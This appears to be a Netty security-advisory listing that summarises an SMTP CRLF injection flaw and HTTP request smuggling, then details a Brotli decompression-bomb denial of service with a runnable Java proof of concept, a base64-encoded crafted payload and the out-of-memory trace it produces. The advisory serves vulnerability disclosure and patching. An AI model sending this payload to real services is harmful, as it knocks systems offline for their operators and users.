Package Instance

Netty has SMTP Command Injection Vulnerability that Allows Email Forgery
An SMTP Command Injection (CRLF Injection) vulnerability in Netty's SMTP codec allows a remote attacker who can control SMTP command parameters (e.g., an email recipient) to forge arbitrary emails from the trusted server. This bypasses standard email authentication and can be used to impersonate executives and forge high-stakes corporate communications.

HTTP Request Smuggling in Netty
HttpObjectDecoder.java in Netty before 4.1.44 allows a Content-Length header to be accompanied by a second Content-Length header, or by a Transfer-Encoding header.

Netty's decoders vulnerable to DoS via zip bomb style attack
### Summary

With specially crafted input, `BrotliDecoder` and some other decompressing decoders will allocate a large number of reachable byte buffers, which can lead to denial of service.

### Details

`BrotliDecoder.decompress` has no limit in how often it calls `pull`, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is basically a zip bomb.

Tested on 4.1.118, but there were no changes to the decoder since.

### PoC

Run this test case with `-Xmx1G`:

```java
import io.netty.buffer.Unpooled;
import io.netty.channel.embedded.EmbeddedChannel;

import java.util.Base64;

public class T {
    public static void main(String[] args) {
        EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder());
        channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode("aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROMBIAEgIaHwBETlQQVFcXlgA=")));
    }
}
```

Error:

```
Exception in thread "main" java.lang.OutOfMemoryError: Cannot reserve 4194304 bytes of direct buffer memory (allocated: 1069580289, limit: 1073741824)
	at java.base/java.nio.Bits.reserveMemory(Bits.java:178)
	at java.base/java.nio.DirectByteBuffer.<init>(DirectByteBuffer.java:121)
	at java.base/java.nio.ByteBuffer.allocateDirect(ByteBuffer.java:332)
	at io.netty.buffer.PoolArena$DirectArena.allocateDirect(PoolArena.java:718)
	at io.netty.buffer.PoolArena$DirectArena.newChunk(PoolArena.java:693)
	at io.netty.buffer.PoolArena.allocateNormal(PoolArena.java:213)
	at io.netty.buffer.PoolArena.tcacheAllocateNormal(PoolArena.java:195)
	at io.netty.buffer.PoolArena.allocate(PoolArena.java:137)
	at io.netty.buffer.PoolArena.allocate(PoolArena.java:127)
	at io.netty.buffer.PooledByteBufAllocator.newDirectBuffer(PooledByteBufAllocator.java:403)
	at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:188)
	at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:179)
	at io.netty.buffer.AbstractByteBufAllocator.buffer(AbstractByteBufAllocator.java:116)
	at io.netty.handler.codec.compression.BrotliDecoder.pull(BrotliDecoder.java:70)
	at io.netty.handler.codec.compression.BrotliDecoder.decompress(BrotliDecoder.java:101)
	at io.netty.handler.codec.compression.BrotliDecoder.decode(BrotliDecoder.java:137)
	at io.netty.handler.codec.ByteToMessageDecoder.decodeRemovalReentryProtection(ByteToMessageDecoder.java:530)
	at io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:469)
	at io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:290)
	at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:444)
	at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420)
	at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:412)
	at io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1357)
	at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:440)
	at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420)
	at io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:868)
	at io.netty.channel.embedded.EmbeddedChannel.writeInbound(EmbeddedChannel.java:348)
	at io.netty.handler.codec.compression.T.main(T.java:11)
```

### Impact

DoS for anyone using `BrotliDecoder` on untrusted input.